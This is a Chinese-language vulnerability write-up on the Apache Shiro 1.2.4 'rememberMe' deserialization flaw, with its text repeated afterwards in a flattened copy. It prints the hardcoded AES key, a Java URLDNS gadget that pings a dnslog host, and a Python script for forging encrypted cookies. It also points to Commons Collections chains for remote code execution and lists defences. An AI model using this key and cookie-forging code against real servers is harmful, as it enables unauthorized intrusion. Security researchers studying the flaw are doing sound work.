shiro反序列化初探
字数 1478 2025-08-11 08:36:13

Apache Shiro 反序列化漏洞分析与利用

1. Apache Shiro 简介

Apache Shiro 是一个开源的 Java 安全框架,提供以下安全功能:

  • 身份验证 (Authentication)
  • 授权 (Authorization)
  • 加密 (Cryptography)
  • 会话管理 (Session Management)

可应用于 Web 和非 Web 应用程序,简化开发者的安全实现工作。

2. 漏洞原理

2.1 Remember Me 功能机制

Shiro 提供了会话保持功能:

  1. 用户勾选 "Remember Me" 并成功登录后
  2. 服务端返回一个名为 rememberMe 的 Cookie 字段
  3. 该字段包含序列化的登录信息,经过 AES 加密和 Base64 编码
  4. 用户后续访问携带此 Cookie 可免密码登录

2.2 漏洞成因

关键问题:

  • AES 加密使用固定密钥(硬编码在源代码中)
  • 攻击者可构造恶意序列化数据,使用已知密钥加密后通过 Cookie 传递
  • 服务端接收后会解密并反序列化,导致恶意代码执行

影响版本:Apache Shiro <= 1.2.4

3. 环境搭建

3.1 获取源码

从 GitHub 下载 Shiro 1.2.4 源码:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

3.2 配置依赖

pom.xml 中添加必要依赖(详见原文代码)

3.3 运行环境

  1. 使用 IDEA 打开 shiro-shiro-root-1.2.4\samples\web
  2. 配置 Tomcat 服务器
  3. 启动后访问 8080 端口

4. 加密流程分析

4.1 登录流程

  1. 未登录时 Cookie 无 rememberMe 字段
  2. 勾选 "Remember Me" 登录后,返回 set-Cookie 字段
  3. 该字段包含序列化字符串经 AES 和 Base64 加密的结果

4.2 关键代码路径

  1. AbstractRememberMeManager.onSuccessfulLogin() - 登录成功后调用

    • 判断是否勾选 "Remember Me"
    • 是则调用 rememberIdentity()
  2. rememberIdentity() 流程:

    • 获取用户登录信息 (getIdentityToRemember)
    • 转换为字节数组 (convertPrincipalsToBytes)
      • 序列化用户信息
      • AES 加密
    • Base64 编码 (rememberSerializedIdentity)
    • 设置到 Cookie 返回客户端

5. 漏洞利用

5.1 解密流程

  1. 服务端通过 getRememberedSerializedIdentity 读取 Cookie
  2. Base64 解码
  3. 调用 convertBytesToPrincipals
    • 使用固定密钥解密
    • 反序列化数据

5.2 固定密钥位置

AbstractRememberMeManager 构造函数中硬编码:

this.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));

5.3 漏洞验证(URLDNS 链)

  1. 生成恶意序列化数据:
public class payload {
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
    }
    
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://qyoubz.dnslog.cn");
        Class c = url.getClass();
        Field hashcodefiled = c.getDeclaredField("hashCode");
        hashcodefiled.setAccessible(true);
        hashcodefiled.set(url,1234);
        hashMap.put(url,1);
        hashcodefiled.set(url,-1);
        serialize(hashMap);
    }
}
  1. 使用固定密钥加密:
import base64
from Crypto.Cipher import AES

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext
  1. 替换 Cookie 发送请求,观察 DNS 解析记录验证漏洞

6. 防御措施

  1. 升级到最新版本(修复了硬编码密钥问题)
  2. 自定义加密密钥(通过 setCipherKey 方法)
  3. 禁用 Remember Me 功能(如不需要)
  4. 实施反序列化过滤

7. 扩展利用

实际攻击中可使用更复杂的反序列化链(如 Commons Collections)实现 RCE,本文使用 URLDNS 仅作验证用途。

Apache Shiro 反序列化漏洞分析与利用 1. Apache Shiro 简介 Apache Shiro 是一个开源的 Java 安全框架,提供以下安全功能: 身份验证 (Authentication) 授权 (Authorization) 加密 (Cryptography) 会话管理 (Session Management) 可应用于 Web 和非 Web 应用程序,简化开发者的安全实现工作。 2. 漏洞原理 2.1 Remember Me 功能机制 Shiro 提供了会话保持功能: 用户勾选 "Remember Me" 并成功登录后 服务端返回一个名为 rememberMe 的 Cookie 字段 该字段包含序列化的登录信息,经过 AES 加密和 Base64 编码 用户后续访问携带此 Cookie 可免密码登录 2.2 漏洞成因 关键问题: AES 加密使用固定密钥(硬编码在源代码中) 攻击者可构造恶意序列化数据,使用已知密钥加密后通过 Cookie 传递 服务端接收后会解密并反序列化,导致恶意代码执行 影响版本:Apache Shiro <= 1.2.4 3. 环境搭建 3.1 获取源码 从 GitHub 下载 Shiro 1.2.4 源码: 3.2 配置依赖 在 pom.xml 中添加必要依赖(详见原文代码) 3.3 运行环境 使用 IDEA 打开 shiro-shiro-root-1.2.4\samples\web 配置 Tomcat 服务器 启动后访问 8080 端口 4. 加密流程分析 4.1 登录流程 未登录时 Cookie 无 rememberMe 字段 勾选 "Remember Me" 登录后,返回 set-Cookie 字段 该字段包含序列化字符串经 AES 和 Base64 加密的结果 4.2 关键代码路径 AbstractRememberMeManager.onSuccessfulLogin() - 登录成功后调用 判断是否勾选 "Remember Me" 是则调用 rememberIdentity() rememberIdentity() 流程: 获取用户登录信息 ( getIdentityToRemember ) 转换为字节数组 ( convertPrincipalsToBytes ) 序列化用户信息 AES 加密 Base64 编码 ( rememberSerializedIdentity ) 设置到 Cookie 返回客户端 5. 漏洞利用 5.1 解密流程 服务端通过 getRememberedSerializedIdentity 读取 Cookie Base64 解码 调用 convertBytesToPrincipals : 使用固定密钥解密 反序列化数据 5.2 固定密钥位置 在 AbstractRememberMeManager 构造函数中硬编码: 5.3 漏洞验证(URLDNS 链) 生成恶意序列化数据: 使用固定密钥加密: 替换 Cookie 发送请求,观察 DNS 解析记录验证漏洞 6. 防御措施 升级到最新版本(修复了硬编码密钥问题) 自定义加密密钥(通过 setCipherKey 方法) 禁用 Remember Me 功能(如不需要) 实施反序列化过滤 7. 扩展利用 实际攻击中可使用更复杂的反序列化链(如 Commons Collections)实现 RCE,本文使用 URLDNS 仅作验证用途。